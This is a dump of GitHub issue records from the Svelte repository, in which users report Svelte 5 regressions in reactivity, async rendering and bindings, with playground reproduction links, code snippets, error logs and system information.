If a `<select>` is bound to a state not equal to the initial value and its options are updated, the element will snap to display the initial value that does not match the state variable. This issue was introduced in 5.41.0, it does not occur in 5.40.2.

### Reproduction

[svelte.dev](https://svelte.dev/playground/hello-world?version=5.43.6#H4sIAAAAAAAAE22PwW7CMBBEf2Xl9pBIgYhrcCxxq3qAQ4-Eg4kXsOquo3gDRZH_vUpCWrXq0W9mxzO9IP2BohAv6JyHm2-dgQSNZTSpyMTJOgyi2PeC783gG4DI5qtN0yzDFR0P7KgD_sdrT4zEQRRChrq1DauKKnbI4Bu2ngKU8BxYMyb7Q7qexYDuR1isRoEqrj0FBm0MlJCkUCroB1zxI2zZdOGSzA-HdObLFBrXFcn8pwLJY8fsCTzVztbvZa-NiWpjDOzGc5lPBlWRDOiwZjhaMsVVuw7LPqCL4xQ5_QYPvlhFtfWEMp_46OmfUNeX78U6gM_AQmLTONX_E2Kj6n38HZEPEXEcMbaZRjQtqv71bbddBm4tne3pPs9Po8wHeXCpgK6AsbTMG1WRyATjJ4uC2w7jIROsrbtZMqI4aRcwfgEirkoQHQIAAA)

1. Add option
2. Select option that is not the initial value
3. Add another option
4. `<select>` now displays the wrong option

---
With an `$effect` snapping to a different (still wrong) value
[svelte.dev](https://svelte.dev/playground/hello-world?version=5.43.6#H4sIAAAAAAAAA21Sz0_CMBT-V16qMVuCINe5LeFmPMjBIxBTtjdorO2yPkCy9H_3rQXMjJct-977frXrhZFfKDLxglpbONlO15BgrQjrVExEozQ6ka16Qed22BsAxi-sRdtO3RE1DdhWOvwPr6whNMQyIndVp1oq12ZNGglsS8oaBwXcO5KEyWqTPl-HbYfHD41mR3teeLrhDvUv4XEeCDxiG0cg65qHSQpFCf0Ar-liMm0Pbp9cP6JuNPPheY9NgxUlI65qIBnlKDgJPDzAWCfg8_TKWlPMGDOzQXyNC40VYpAhTz77PSSTbw9E1oA1lVbVZ9FzP18uuOQy0PNZXODlnD05P2yVqbOj1AcseoZ8OOw8usEFf5z78s0azGcRDzv9Hcpqf7sT6cBOQEGi0kv-PyLKl731Y4nZIOF... [TRUNCATED]",,2025-11-12T20:24:44Z,2026-03-13T02:07:58Z,2
sveltejs/svelte,3615589183,"can't import ""state"" in runes mode","### Describe the bug

```
import { state } from ""./test.js""
let name = $state('world');
```
obviously it gets confused what $state means here.


### Reproduction

https://svelte.dev/playground/c8a6cc5160ce4d16a65ecd809d3ec83a?version=latest

### Logs

```shell
store_invalid_shape `state` is not a store with a `subscribe` method https://svelte.dev/e/store_invalid_shape in <unknown> in __wrapper.svelte
```

### System Info

```shell
this is on playground
```

### Severity

annoyance",,2025-11-12T08:55:40Z,2025-11-12T10:11:57Z,6
sveltejs/svelte,3613497958,Attachments don't run when using with a components which use <svelte:element>,"### Describe the bug

I have a component which has a top-level `<svelte:element>`. When using this component together with an attachment the attachment somehow doesn't run.
When I define the attachment directly on the `<svelte:element {@attach xy()}>` it works as expected.

### Reproduction

Reproduction example: https://svelte.dev/playground/1e4e2f8e9ff84052b1c3ddcf6bca3c8e?version=5.43.6

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (14) arm64 Apple M4 Pro
    Memory: 1.10 GB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.11.0
    npm: 11.6.1
    bun: 1.2.19
  Browsers:
    Chrome: 142.0.7444.135
    Safari: 26.1
  npmPackages:
    svelte: ^5.43.4 => 5.43.4
```

### Severity

annoyance",,2025-11-11T18:52:23Z,2025-11-11T22:31:35Z,2
sveltejs/svelte,3607611349,Bug: Re-rendering only happens once,"### Describe the bug

When performing a chain of derived statements the first re-render works correctly but any subsequent expected re-renders don't happen.

I'm not quite sure what's the cause of this currently, but this was working perfectly fine in svelte `5.43.3`:

<https://svelte.dev/playground/52b72be7ad104bfa91fe6fcaf475a63d?version=5.43.3#H4sIAAAAAAAAE22QPW-DMBCG_4p7ymAki6RfCw2R2k6ZM8YZiH20VuFA9pE0Qvz3yiSFDh393nPPWW8PVNQIGbx1H6CgdBUGyPY98KWNcQxA_UKvbZuGE1Ycs2MR8L_cNMRIHCCDdTDetbzRpNnVbeNZ9LuR2yEPovRNLTRcN5ceC8Pu5Pii4SVumIYCC2eDyMV-pe7Vg3pUT-r58GcaEGk7EoRnMbllEpmJ6mjmFha9O6GVzoa0dBWjl9LZROQbcXfD0s8ixCwZNTyLTOc9Em_tX9FkTwuWq9vOwlFo0fA8TTStl3MhtD52zA2J2HSu4frSIBoylTNfeS_HP01ua-V0PhnGTt8jWGMm-mkyxCtX10YTKGD8ZsjYdzgcFHDhqrMjC1lZVAGHH1RjQwsAAgAA>

### Reproduction

To reproduce click the button and we expect to see the number inside the button increment through 0-5.

https://svelte.dev/playground/52b72be7ad104bfa91fe6fcaf475a63d?version=5.43.5

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (16) arm64 Apple M4 Max
    Memory: 175.92 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.19.0 - /Users/away/Library/pnpm/node
    npm: 10.9.3 - /Users/away/Library/pnpm/npm
    pnpm: 10.20.0 - /Users/away/Library/pnpm/pnpm
  Browsers:
    Chrome: 142.0.7444.135
    Edge: 142.0.3595.65
    Safari: 26.1
  npmPackages:
    svelte: 5.43.5 => 5.43.5
```

### Severity

blocking an upgrade",,2025-11-10T11:38:03Z,2025-11-17T22:00:01Z,1
sveltejs/svelte,3605400318,Reactivity throws `Svelte error: flush_sync_in_effect` when upgrading from `5.35.0` to `>=5.36.0`,"### Describe the bug

The `5.36.0` version throws `Svelte error: flush_sync_in_effect` when clicking the `Open` button, this is a unexpected regression.

### Reproduction

- [Collapsible in 5.35.0](https://svelte.dev/playground/c1abf009ff794b8c880b301e3f8d1fb9?version=5.35.0)
- [Collapsible in 5.36.0](https://svelte.dev/playground/c1abf009ff794b8c880b301e3f8d1fb9?version=5.36.0)

Steps:
1. Open the REPL
2. Click on `Open`
3. View console to see crash: `Svelte error: flush_sync_in_effect`

### Logs

```shell
Error
Svelte error: flush_sync_in_effect
Cannot use `flushSync` inside an effect
https://svelte.dev/e/flush_sync_in_effect
    at flush_sync_in_effect (playground:output:462:18)
    at flushSync (playground:output:2429:4)
    at flush (playground:output:9902:3)
    at setInitial (playground:output:11802:10)
    at action (playground:output:9715:9)
    at eval (playground:output:11630:8)
    at $effect (playground:output:9573:5)
    at update_reaction (playground:output:4178:57)
    at update_effect (playground:output:4358:19)
    at flush_queued_effects (playground:output:2520:6)
```

### System Info

```shell
-
```

### Severity

blocking an upgrade",,2025-11-09T19:37:38Z,2025-11-24T21:46:35Z,0
sveltejs/svelte,3604398585,`$derived($state.eager())` reactivity loss,"### Describe the bug

Since 5.43.4 if you include `$state.eager()` in a `$derived` or `$derived.by` the reactivity can stop working.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.43.5#H4sIAAAAAAAAE22QQWvDMAyF_4onCnWgNHcvCeww2G2X3dYdXFsNpp5tbLXdCPnvs5Nsg2y-GD1970loACffEQQ8obWe3Xy0mnHUhlBXsIOTsZhAvA5An6FwRcj64noIYZ-uaKloR5nwP115R-gox0CTVDSBuoNj-Vkk5gM61rJNIknIT9ImrO4PbgayMxHTGM0V9aPsMT4v-KLx2bfH0uMlq_p1b4xLARXx7Tphu_sTWmxN_bNeLo4XIu-Yd8oadW4HXrG2-973rvxj9-L73mJTz-zsC13pCTZMSFOHbhLXAzOwlhY4n4zwg0BQvOD4litp7M04DWK6z_gF5aoehLUBAAA)

```svelte
<script>
    let open = $state(false);

    const derivedEagerOpen = $derived($state.eager(open));

    $inspect('derivedEagerOpen', derivedEagerOpen);
</script>

<button onclick={() => open = !open}>Toggle</button>

<p>open: {open}</p>
<p>derivedEagerOpen: {derivedEagerOpen}</p>
```

Please keep in mind this is just a silly minimal reproduction of the underlying cause of some complex bits-ui popover issues I've been having.[ Please believe me there is a good reason for using `$state.eager` like this. (closing a combobox immediately after selecting to be consistent with native select element behaviour).](https://svelte.dev/playground/hello-world?version=5.43.5#H4sIAAAAAAAAE3VSTU_DMAz9K1ZAWiuNVVxLWwlx4QZC3CiHbHWnSFkSJV4HqvrfSbqwddDl5uf3IdvpmeI7ZDl7Rik1HLSVDSTYCMImZUvWComO5R89o28TeAHweFQ9GrNyHUoK2Jo7nMM3WhEq8jascBsrDIHkalvWjFzNqlqBf2JntCXo4VUb3aGFAVqrd7BYC3J3e7F4qNWRyQ9cENyfaokE2qCCEm4dccKk5dJh6glFdsyrArdoRBfDihi... [TRUNCATED]",,2025-11-09T03:08:50Z,2025-11-17T22:00:01Z,1
sveltejs/svelte,3604076733,Function bindings broken in async component,"### Describe the bug

Since 5.43.0 function bindings are throwing various errors in async components.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.43.5#H4sIAAAAAAAAE22OwUrEQBBEf6VphE1gcPE6Zhf25hd4MR5mMx0ZGDtDppIoIf8uo2a9eGhoql9V9crq3oUtP0mMAy3DGD1V4gPE12y4D1Ey25eV8ZkKVwQ2u-uS0n2eJaJoV5flP70bFKLIbLnJ3RgSzq22cIsLoIfHspeJAppdnIROdJfhINXhUJeztugn7RAGpTfBc4GqmlYaBdOov67tJ4joxuadnQu8Z8-FbI5_n2gTNE2ga1Bvv6nTuteYW8hGx3OrxIYhH2CLcZLt1TBciEtQz7Z3Mcv2BexDgiNSAQAA)

```svelte
<script>
	await 1;
	
	let value = $state('');

	function getValue() { return value }

	function setValue(v) { value = v }
</script>

<input bind:value={getValue, setValue} />
 ```

### Logs

```shell
Cannot read properties of undefined (reading 'f') in <unknown> in __wrapper.svelte
```

### System Info

```shell
Svelte playground
```

### Severity

blocking an upgrade",,2025-11-08T22:03:16Z,2025-11-17T21:58:42Z,4
sveltejs/svelte,3603376614,Weird .refresh() behaviour with different schema libraries,"### Describe the bug

I am using arktype in my project and ran into an issue with query refresh. If i have schema with object shape and fill properties for command param in order different than i pass to query, i dont get a refresh. But once i do pass properties in the same order, refresh works as expected. I tried the same with valibot, but with valibot everything works fine

### Reproduction

https://www.sveltelab.dev/eve63v4438x0y30?files=.%2Fsrc%2Froutes%2F%2Bpage.svelte%2C.%2Fsrc%2Froutes%2Fdata.remote.js

1. Hit second increment button - second counter should update
2. Try to change order of properties for ```getCounterWithParams()``` and ```incrementWithParams()```
3. Go to the ```data.remote.js``` and uncomment second Param schema
4. Try to hit second increment button

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes   
  Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: ^5.43.4 => 5.43.4
```

### Severity

annoyance",,2025-11-08T10:33:21Z,2025-11-08T10:45:37Z,0
sveltejs/svelte,3597609405,Async Render bug 5.43.0,"### Describe the bug

If a query is awaited before initializing a tanstack-form, a render error occurs.  If the query is awaited in the markup, it seems fine.  However for my use case, I need the data from the awaited query to initialize a tanstack form.

### Reproduction

[StackBlitz](https://stackblitz.com/edit/vitejs-vite-guqy9vkk?file=src%2Froutes%2F%2Bpage.svelte)

There are 2 workarounds
1. Do not await the query in script , and instead await it in the markup.  This unfortunately does not work for my use case, as I want to use the query data to set the default values for the form
2. Downgrade to svelte@5.42.3

### Logs

```shell
TypeError: Cannot read properties of undefined (reading 'Field')
    at eval (src/routes/+page.svelte:120:10)
    at Renderer.child (node_modules/svelte/src/internal/server/renderer.js:194:18)
    at Renderer.component (node_modules/svelte/src/internal/server/renderer.js:219:22)
    at _page (src/routes/+page.svelte:19:13)
    at eval (.svelte-kit/generated/root.svelte:74:7)
    at eval (src/routes/+layout.svelte:27:4)
    at Renderer.child (node_modules/svelte/src/internal/server/renderer.js:194:18)
    at Renderer.component (node_modules/svelte/src/internal/server/renderer.js:219:22)
    at _layout (src/routes/+layout.svelte:17:13)
```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (10) arm64 Apple M4
    Memory: 486.17 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 25.1.0 - /Users/timchen/.proto/tools/node/25.1.... [TRUNCATED]",,2025-11-06T20:55:16Z,2025-11-16T02:01:28Z,3
sveltejs/svelte,3593375254,Experimental Async with preload and conditional bind:this kills reactivity,"### Describe the bug

With hover preloading on and async enabled, it seems that conditional `bind:this` can somehow break reactivity for the application.

Minimal repro below. The select box uses the `bind:this` for absolutely nothing in the repro, but it still breaks. Remove the `bind:this`, disable preloading, or disable async and things behave as expected.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-zl41pabn?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 10 10.0.19045
    CPU: (32) x64 AMD Ryzen 9 5950X 16-Core Processor
    Memory: 31.45 GB / 63.89 GB
  Binaries:
    Node: 22.12.0 - C:\nvm4w\nodejs\node.EXE
    npm: 10.9.0 - C:\nvm4w\nodejs\npm.CMD
  Browsers:
    Chrome: 141.0.7390.123
    Edge: Chromium (140.0.3485.54)
    Firefox: 144.0.2 - C:\Program Files\Mozilla Firefox\firefox.exe
    Firefox Developer Edition: 137.0 - C:\Program Files\Firefox Developer Edition\firefox.exe
    Internet Explorer: 11.0.19041.5794
```

### Severity

annoyance",,2025-11-06T00:41:55Z,2025-11-16T02:19:31Z,10
sveltejs/svelte,3588810330,svelte:head updates prematurely in async mode,"### Describe the bug

I have a page where you can contact other users. The route is `/contact/[id]` the +page.server.ts file for that page retrieves the user information you are trying to contact from the DB and returns it via load. Then the svelte head is set on that page to display a title of `Contact <name>` and also displays the info of the person you are contacting. The links to reach these pages are just simple anchor tags.

The issue I am facing is that just hovering over the anchor tag the data is preloaded and updates the page title and any other head content before clicking on the anchor. Also, clicking on the anchor tag ends up causing the app to crash or freeze. Once you reload the page, the previous clicks are added into the window history.

### Reproduction

[Github Repo](https://github.com/agillispie/page-data-test) 

### Logs

```Shell
no logs are displayed
```

### System Info

```Shell
System:
    OS: macOS 26.0
    CPU: (10) arm64 Apple M4
    Memory: 137.41 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.13.1 - /Users/agill/.nvm/versions/node/v22.13.1/bin/node
    npm: 11.2.0 - /Users/agill/.nvm/versions/node/v22.13.1/bin/npm
    pnpm: 10.20.0 - /Users/agill/.nvm/versions/node/v22.13.1/bin/pnpm
    bun: 1.2.21 - /Users/agill/.bun/bin/bun
  Browsers:
    Chrome: 142.0.7444.60
    Safari: 26.0
  npmPackages:
    @sveltejs/adapter-auto: ^7.0.0 => 7.0.0 
    @sveltejs/kit: ^2.47.1 => 2.48.4 
    @sveltejs/vite-plugin-svelte: ^6.2.1 => 6.2.1 
 ... [TRUNCATED]",,2025-11-04T23:55:35Z,2025-11-16T01:40:36Z,3
sveltejs/svelte,3587854079,"`bind:value={[getter, setter]}` in a tuple to allow programatic creation of binding functions","### Describe the problem

It's a simple matter, but i find myself wanting this often. I'll keep it brief.

### Describe the proposed solution

Allowing `bind:` to accept a tuple of a [getter, setter]:

```svelte
<script lang=""ts"">
	const unassignable = {
		inner: 'value'
	};

	const createBinding = <T extends Record<string, any>>(object: T) => {
		return [() => object, (v: T) => doSomethingToObject(object, v)] as const;
	};
</script>

<Component bind:value={createBinding(unassignable)} />

<!-- OR / AND -->

<Component bind:value={...createBinding(unassignable)} />
```

### Importance

nice to have",,2025-11-04T19:02:34Z,2025-11-04T19:07:08Z,1
sveltejs/svelte,3587408281,event.stopPropagation() does not work when nested element within event using onMount(),"### Describe the bug

event.stopPropagation() appears to not work when an outer element has an event listener added via `onMount() `and an inner element has an event listener added via `onclick()` 

Stop propagation works when using <code>on:click</code> but does not work for <code>onclick</code>

The expected behavior is that `onclick()` should stop propagation, the same as `on:click()` did.

### Reproduction

Example:
https://svelte.dev/playground/eb16168190f3490dad1e8cdbccdcfacf?version=5.23.1

If you click on the outer element (i.e. the ""count"" text) it adds 2.
If you click on the inner element (i.e. the number) it should add 1.
But because stopPropagation() does not work, it adds 3.


### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (10) arm64 Apple M1 Pro
  Binaries:
    Node: 22.15.0 - /Users/aaronevans/.nvm/versions/node/v22.15.0/bin/node
    npm: 10.9.2 - /Users/aaronevans/.nvm/versions/node/v22.15.0/bin/npm
  Browsers:
    Brave Browser: 141.1.83.118
    Chrome: 142.0.7444.60
  npmPackages:
    svelte: ^5.41.0 => 5.43.2
```

### Severity

annoyance",,2025-11-04T16:49:10Z,2026-03-21T10:59:59Z,6
sveltejs/svelte,3587001199,`fork` breaks reactivity of class fields in object from a `$derived`,"### Describe the bug

After the fork is committed, updates to a class field where the object is returned from a `$derived` (or a `$derived.by`) are no longer reflected in the DOM.

See comments in the reproduction for details.

(Found in a SvelteKit project, where the original `$derived.by` actually has dependencies.)

### Reproduction

https://svelte.dev/playground/hello-world?version=5.43.3#H4sIAAAAAAAAA41S227CMAz9FStDohWo3TOUStNe9gto7KG07ohIk6oxFFTl3xcHEAVt0h597OPLOR6ELhoUC_GBShnoTacqiLCShFUs5qKWCq1YfA6Czi3XMeDxK-utbRN7REWMbQuLv-Gl0YSafBuR2bKTLeUbvSHZtKYjGKA23R4c1J1pYHphTZejived9Etd0kkaomRclqagkOAEK5hYKggj6g4YLwF8ppe0MwcKQ6T-nkOpZLkHqcsOG96KOzzR60LZMf-ZXBm0oA3tPLbRWXo_SmfbA5HRYHQoXQ1RDKscBp7idbB-ET-H-0WjzIZ4Om_NkYvDWXVSmqaRFHHoXM6kLL30D7OGF1nDyXFtdtEo9fiQytp51QlPJBbc083_cG8s5aN_T5k_HCxVYS2sbzfUxtw1fI3DKSN_zj6psYd1dJXW62f54_b2QeWbIVw_qbCTR6yiK3HMZBf0lP5nwDnx281mLg_oSMaszYeQdFna5o-6ffmokKqXuhKL8BTuB2XYA4cwAwAA

### Logs

```shell

```

### System Info

```shell
n/a
```

### Severity

blocking an upgrade",,2025-11-04T15:08:21Z,2026-01-12T20:14:10Z,2
sveltejs/svelte,3585632133,$effect.pending flaky behaviour,"### Describe the bug

Sometimes $effect.pending() doesn't work, I don't know the exact conditions but check out the repro below for an example.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.43.3#H4sIAAAAAAAAE21Ry07DMBD8lZXhkJSSPo4hjcQNbpXgxkMyzgYsHDvYm4Qqyr-zcQu9cLAlz87Mzq5HYWWDIhd3aIyDwXlTQYKVJqxSsRS1NhhE_jQKOrQzbwYYP6lu2zYLPRqasTcZ8D9cOUtoiW1EEZTXLZXP9pkMEvTSdAg7uAwkCZN1esMVrslwsArqzirSzkKFRh6wSvoUxrnMhEFqAosD7L1rdMDEw66EgPSoG3QdJX4Jm_V6nUZLVnikzlvo43OK2ClEMG54-Oqkj0kq9LrnXscOf51j0MUCttGwWJ0HscVbR8QpnVVGq8_dmKRzlii5uprKe6s8NryBYnVkRtV4oWu4xLpGRVmLttL2PUljsKIt9-hr5xvGQM_bC5wJGkkfyJdW0gAf1Rk57ydkWVasWrYdczQBgZ2PgcsdXG9-PceITfAKWx50PI89ncQrXc9cy39G-E0iJ8_8F35JbQZtK5HXkv2nH4Czb442AgAA)


```svelte
<script>
	let value = $state(0);

	async function delayed(v) {
		await new Promise(r => setTimeout(r, 1000));
		return v;
	}
	
	let slowSquare = $derived(await delayed(value ** 2));
</script>

<button onclick={() => value++}>Increment</button>

{#if $effect.pending()}
	<p>Performing intensive mathematical calculations...</p>
{:else if value >= -1}
	<p>{value} ^ 2 = {slowSquare}</p>
{/if}
```

### Logs

```shell

```

### System Info

```shell
svelte playground
```

### Severity

annoyance",,2025-11-04T09:34:58Z,2026-05-19T14:24:41Z,3
sveltejs/svelte,3585611440,Async derived causes bind:this refs to revert to initial state when passed as props,"### Describe the bug

The Popover from bits-ui is not opening under certain weird conditions.

Broken since 5.43.0

**Edit:** I have narrowed down the issue and made a REPL that has no bits-ui dependency to expose the svelte reactivity bug.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.43.3#H4sIAAAAAAAAE41TwW7TQBD9ldFSKY4a1eHAxbWNoEJqJeDUG-bgxGNnxWbX2p0kIOMjNz4Bfq5fwqzXSeNSJC727ps3b2be2J3Q5RZFIm5RKQMHY1UFEVaSsJqLhailQieST52gb63neYDxMetN2165PSry2Kp0-By-NppQE8uI1K2tbAlUqZusEOQKkRe6ILltjSW4MfzWzIXami0U4io-QaNeIa45gVMUEqx2REa_U7j1ORlcOCoJ09v7D-_fTkLfQe-UyiP_nI8CcQzouGOSpQIyQFY2DVqgDbJwc6xRG-OVK7Ryj1VUHkpJ8NKLpHGYxk-g09ALrKSuEtpIl3WT7vo8dJTGAQ5JjwNbrJ9mQDyQuhey9l30vqO0zdO4ZbyLZc0I20v4lURCdof94h9remridFnPRP9jZd6bzrcNfRIOCXjjp5ZD781rrWldND_bHMn1l9PCouUQGgKsc-c--sxTtC6Vw2OyQ7rj3uy-VFE0hywfpC4vF_BquTySLrCucU0jofNQQZ53HY7nRfwEWZYN3Q7h_u_dVnKfH913ZI1u8ntWS5gVbtB59T6sZsK72Uj-o7w7Z-TH-q9h9vD751B8Bglffv0AHnE2SqVxKD1d82e-lVId-FMTyeBO_wfJwHkTyAMAAA)

### Logs

```shell

```

### System Info

```shell
svelte playground
```

### Severity

blocking an upgrade",,2025-11-04T09:31:27Z,2025-11-11T05:55:15Z,17
sveltejs/svelte,3585222831,Error regression since 5.39.0,"### Describe the bug

There is quite significant difference in errors.

Async mode and a [simple redirect in remote function](https://github.com/vladshcherbin/svelte-broken-error/blob/master/src/lib/remote/auth.remote.ts) on a [page](https://github.com/vladshcherbin/svelte-broken-error/blob/master/src/routes/private/%2Bpage.svelte) gives:

#### <= 5.38.10

✅ error is visible in console
✅ app is live after error
✅ error page shows error

<img width=""991"" height=""697"" alt=""Image"" src=""https://github.com/user-attachments/assets/044b9a23-f2af-491f-90ac-7a2eb3c0234c"" />

#### >= 5.39.0

✅ error is visible in console
❌ app is dead after error
❌ no error page due to dead app

<img width=""1358"" height=""651"" alt=""Image"" src=""https://github.com/user-attachments/assets/f695ea33-034f-4d36-bcf1-4268f05116a2"" />

#### >= 5.39.1

❌ error is undefined in console
✅ app is live after error
❌ error page is not shown due to redirect

<img width=""1174"" height=""703"" alt=""Image"" src=""https://github.com/user-attachments/assets/f11b68a9-b62e-4c93-98e0-4a42df29de23"" />

### Reproduction

https://github.com/vladshcherbin/svelte-broken-error

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.0
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.0.1
    npm: 11.3.0
    pnpm: 10.20.0
  Browsers:
    Chrome: 142.0.7444.60
    Safari: 26.0
  npmPackages:
    svelte: ^5.43.3 => 5.43.3
```

### Severity

blocking an upgrade",,2025-11-04T08:09:43Z,2026-06-04T20:52:18Z,1
sveltejs/svelte,3584994868,$derived(( {children: nav?.items} ))  Property 'items' does not exist on type 'never'.ts(2339),"- all package is up `pnpm up --latest`
- error: `Property 'items' does not exist on type 'never'.ts(2339) `
- `let root1` and `root2` is temp resolved.

<img width=""718"" height=""688"" alt=""Image"" src=""https://github.com/user-attachments/assets/0fe1e118-0dd6-4a5e-9af6-71a869574dfe"" />

```ts
<script lang=""ts"">
  interface NavItem {
  	id: string;
  	label: string;
  	url: string;
  	children?: NavItem[];
  }
  
  export interface Nav {
  	id: string;
  	siteId: string;
  	items: NavItem[];
  }

  let nav: Nav | null = $state(null);
  let root: NavItem = $derived(( {
  	id: '_root_',
  	label: '',
  	url: '',
  	children: nav?.items,
  } ));
  let root1: NavItem = $derived({
  	id: '_root_',
  	label: '',
  	url: '',
  	children: (nav as Nav | null)?.items,
  });
  let root2: NavItem = $derived.by(() => ({
  	id: '_root_',
  	label: '',
  	url: '',
  	children: nav?.items,
  }));
</script>
```",,2025-11-04T06:54:49Z,2025-11-04T11:12:11Z,1
sveltejs/svelte,3583292235,"Docs error (""Available since 5.7.0"" – that version isn't out yet)","### Describe the bug

On this page of the docs: https://svelte.dev/docs/svelte/svelte-reactivity#MediaQuery
It states that `MediaQuery` has been added in version `5.7.0` which is likely wrong.

### Reproduction

https://svelte.dev/docs/svelte/svelte-reactivity#MediaQuery

<img width=""815"" height=""196"" alt=""Image"" src=""https://github.com/user-attachments/assets/1955d0f4-a0f4-4587-b17a-b28463a1790b"" />

### Logs

```shell

```

### System Info

```shell
Website issue
```

### Severity

annoyance",,2025-11-03T18:45:28Z,2025-11-03T18:52:40Z,3
sveltejs/svelte,3580053732,Async: Values can get out of sync,"### Describe the bug

If you have a value X that causes a pending batch, and while that batch is pending cause creation of another batch which creates a new branch and therefore new template effects which also read that value X, those template effects are not correctly rescheduled once the pending batch resolves. As a result, the shown values of X get out of sync (once shows the old, once the new value). 

I believe it happens because the pending batch does not know of the new effects that are created (they are not in its (maybe_)dirty arrays), therefore does not schedule them as (maybe_)dirty on revival and therefore never runs them.

### Reproduction

https://svelte.dev/playground/c7e416c4b97446468ee85f3abf4bc676?version=5.41.4#H4sIAAAAAAAACn1STYvbMBD9K4O6YJuY2NCb1zEsvfXQFtpb04PjjNNhZUlI47WF0H8vSpbsd4-a9-bNG70JQvUTikbcOa8GOMwnUYqRJDrR_A6CvUlgKojySjVm6x5Qcqodeofv1QetGBU70YjWDZYMd3u1Z5qMtgxf_pI8wmj1BNm2Or8eW7PbRJPIsMIObhz3jHm2aCuPWXHF_BNWp2pbPc1Q7WFm1gq0GiQN97vQn3fLC9h1EJJEVaVNGzjjoBV4OOCoLQLThGBn5WA2t7CQlHCPaGAFUo6OCB56hkc_SSq5zGZFD2gdZnsVY7e21cXB-24uPvxmEzu_2bzghk80pr13zzVjGhP6pScGhQv8sHoih7lNMg75F02oZ85tCZ_rui6Kc0N7-eKwRqi6vQoVjfE6wkMH9X9oohSMK4uG7Yyx_OAOnsf28hJeIR_cQgoywAoxhWmsNi6_JDxo5bTErdSnfH0Tb_j68_u3rWNL6kSjz8Maizee_5SCe5ILqaNoxl46jP8Amw0uj-sCAAA

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",,2025-11-02T22:34:45Z,2026-03-27T23:02:06Z,1
sveltejs/svelte,3578375150,Symbol keys in state objects are not spread into rest props,"### Describe the bug

In JavaScript it is possible to spread Symbol keys into rest props:

```js
const S = Symbol('key');
const a = { foo: 'bar', [S]: 42 }
const { foo, ...rest } = a;
console.log(rest[S]); // logs 42
```

But in Svelte this doesn't work:

```svelte
<script>
  const S = Symbol('key');
	
  let a = $state({ foo: 'bar', [S]: 42 });
  $inspect('a[S]:', a[S]); // 42

  let { foo, ...rest } = $derived(a);
  $inspect('rest[S]:', rest[S]); // undefined
</script>
```

### Reproduction

https://svelte.dev/playground/3798e7ae88584fd887cc81645c9522cc?version=5.43.2

### Logs

```shell

```

### System Info

```shell
All browsers, all Svelte 5.x versions (as far as I can tell)
```

### Severity

annoyance",,2025-11-01T19:44:39Z,2025-11-01T22:35:21Z,0
sveltejs/svelte,3575451620,Svelte 5.43.0+: Function bindings and `await` in a single component cause an error,"### Describe the bug

The following code causes an error:

```
<script lang=""ts"">
  const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms))
  const test = await delay(1000)// <<< ❌ causes an error
  let width = $state(0)
  const updateWidth = (value: DOMRectReadOnly) => (width = value.width)
</script>

<div bind:contentRect={null, updateWidth}></div>
{width}
```

<img width=""1128"" height=""566"" alt=""Image"" src=""https://github.com/user-attachments/assets/c07c7d8c-9aa2-4d7f-8659-3ee2a4a7b498"" />


### Reproduction

* [Svelte 5.42.3](https://svelte.dev/playground/hello-world?version=5.42.3#H4sIAAAAAAAAE22QTWuDQBCG_8ow9KAgib2KCoUeeikpodBDt4eNO2kXxlHcUSvify-aBHLocR7eeeZjRrE1YYYvxNzA2HTsICLnlVyMCZ49U8Dsc0ad2jW3AkxuXU9tuwsDsa7sZAP9x6tGlEQDZpiHqvOtAlv5LgxqMFgaMVo1EhQcsZ2ggKgOMRQlCI3w1jW1DxR1FBoeaMWB9N3X1PR6ownUIY6NAFxESkGhADtaf7VGj2mabgkmhdE7_YECHoJapSi9a-1bZ5U-roFosNxTBs-H1yNVeiTrDsLTtl10s2yZ3VbFRvL95cb1LsmdH-DkxWXXJ6yWYpaeObkftZT53vmhNDJvnsUIJqj0q5hp19PylaBaz6MXh9nZcqDlD1cbFx-7AQAA) ✅
* [Svelte 5.43.0](https://svelte.dev/playground/hello-world?version=5.43.0#H4sIAAAAAAAAE22QTWuDQBCG_8ow9KAgib2KCoUeeikpodBDt4eNO2kXxlHcUSvify-aBHLocR7eeeZjRrE1YYYvxNzA2HTsICLnlVyMCZ49U8Dsc0ad2jW3AkxuXU9tuwsDsa7sZAP9x6tGlEQDZpiHqvOtAlv5LgxqMFgaMVo1EhQcsZ2ggKgOMRQlCI3w1jW1DxR1FBoeaMWB9N3X1PR6ownUIY6NAFxESkGhADtaf7VGj2mabgkmhdE7_YECHoJapSi9a-1bZ5U-roFosNxTBs-H1yNVeiTrDsLTtl10s2yZ3VbFRvL95cb1LsmdH-DkxWXXJ6yWYpaeObkftZT53vmhNDJvnsUIJqj0q5hp19PylaBaz6MXh9nZcqDlD1cbFx-7AQAA) ❌
* [Svelte 5.43.2](... [TRUNCATED]",,2025-10-31T15:40:45Z,2025-11-07T22:40:35Z,1
sveltejs/svelte,3575163225,await order breaks `bind:`,"### Describe the bug

